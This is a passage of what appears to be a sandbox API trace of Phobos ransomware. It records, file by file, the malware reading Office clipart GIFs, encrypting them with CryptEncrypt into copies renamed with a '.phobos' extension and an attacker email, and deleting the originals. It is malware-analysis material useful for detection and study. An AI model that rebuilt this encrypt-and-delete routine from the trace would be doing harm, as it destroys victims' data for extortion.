lpNumberOfBytesWritten=0x38ef70c, lpOverlapped=0x0 | out: lpBuffer=0x3d1815a*, lpNumberOfBytesWritten=0x38ef70c*=0x40000, lpOverlapped=0x0) returned 1 [0056.146] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x38ef700 | out: lpNewFilePointer=0x0) returned 1 [0056.146] WriteFile (in: hFile=0x328, lpBuffer=0x3d1815a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ef70c, lpOverlapped=0x0 | out: lpBuffer=0x3d1815a*, lpNumberOfBytesWritten=0x38ef70c*=0x40000, lpOverlapped=0x0) returned 1 [0056.148] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef700 | out: lpNewFilePointer=0x0) returned 1 [0056.148] WriteFile (in: hFile=0x328, lpBuffer=0x3d1815a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ef70c, lpOverlapped=0x0 | out: lpBuffer=0x3d1815a*, lpNumberOfBytesWritten=0x38ef70c*=0x40000, lpOverlapped=0x0) returned 1 [0056.149] CloseHandle (hObject=0x328) returned 1 [0056.814] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0056.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.879] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=2596) returned 1 [0056.879] CloseHandle (hObject=0x328) returned 1 [0056.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 0x220 [0056.879] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.879] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.879] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.879] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.880] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0056.880] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.880] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xa24, lpOverlapped=0x0) returned 1 [0056.889] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa30, dwBufLen=0xa30 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xa30) returned 1 [0056.889] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xa30, lpOverlapped=0x0) returned 1 [0056.890] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc90) returned 1 [0056.890] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.890] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0056.890] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0056.890] WriteFile (in: hFile=0x334, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0056.890] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0056.890] CloseHandle (hObject=0x328) returned 1 [0056.890] CloseHandle (hObject=0x334) returned 1 [0056.891] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0056.892] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0056.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.892] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=10607) returned 1 [0056.892] CloseHandle (hObject=0x334) returned 1 [0056.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0056.893] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.893] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.893] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.893] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.893] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc9d0) returned 1 [0056.893] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.893] ReadFile (in: hFile=0x334, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x296f, lpOverlapped=0x0) returned 1 [0056.909] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2970, dwBufLen=0x2970 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2970) returned 1 [0056.909] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2970, lpOverlapped=0x0) returned 1 [0056.910] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc50) returned 1 [0056.910] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.910] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0056.910] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0056.910] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0056.910] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0056.910] CloseHandle (hObject=0x334) returned 1 [0056.910] CloseHandle (hObject=0x328) returned 1 [0056.911] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0056.911] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0056.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.916] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=15308) returned 1 [0056.916] CloseHandle (hObject=0x32c) returned 1 [0056.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0056.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.916] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.916] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.917] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc50) returned 1 [0056.917] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.917] ReadFile (in: hFile=0x32c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x3bcc, lpOverlapped=0x0) returned 1 [0056.927] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3bd0, dwBufLen=0x3bd0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x3bd0) returned 1 [0056.928] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x3bd0, lpOverlapped=0x0) returned 1 [0056.928] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc9d0) returned 1 [0056.928] CryptSetKeyParam (hKey=0x10dc9d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.928] CryptEncrypt (in: hKey=0x10dc9d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0056.928] CryptDestroyKey (hKey=0x10dc9d0) returned 1 [0056.929] WriteFile (in: hFile=0x31c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0056.929] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0056.929] CloseHandle (hObject=0x32c) returned 1 [0056.929] CloseHandle (hObject=0x31c) returned 1 [0056.930] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0056.930] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0056.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.931] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5315) returned 1 [0056.931] CloseHandle (hObject=0x31c) returned 1 [0056.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0056.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.931] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.931] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.931] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0056.931] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.932] ReadFile (in: hFile=0x31c, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x14c3, lpOverlapped=0x0) returned 1 [0056.952] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x14d0) returned 1 [0056.952] WriteFile (in: hFile=0x32c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x14d0, lpOverlapped=0x0) returned 1 [0056.953] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0056.953] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.953] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0056.953] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0056.953] WriteFile (in: hFile=0x32c, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0056.953] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0056.953] CloseHandle (hObject=0x31c) returned 1 [0056.953] CloseHandle (hObject=0x32c) returned 1 [0056.954] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0056.955] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0056.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.971] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4955) returned 1 [0056.971] CloseHandle (hObject=0x328) returned 1 [0056.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0056.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0056.971] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.971] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0056.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0056.972] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0056.972] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.972] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x135b, lpOverlapped=0x0) returned 1 [0056.977] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1360, dwBufLen=0x1360 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1360) returned 1 [0056.977] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1360, lpOverlapped=0x0) returned 1 [0056.978] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc610) returned 1 [0056.978] CryptSetKeyParam (hKey=0x10dc610, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0056.978] CryptEncrypt (in: hKey=0x10dc610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0056.978] CryptDestroyKey (hKey=0x10dc610) returned 1 [0056.978] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0056.978] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0056.978] CloseHandle (hObject=0x328) returned 1 [0056.978] CloseHandle (hObject=0x300) returned 1 [0056.979] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1 [0056.980] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0056.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0056.981] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=5030) returned 1 [0056.981] CloseHandle (hObject=0x300) returned 1 [0056.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0056.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 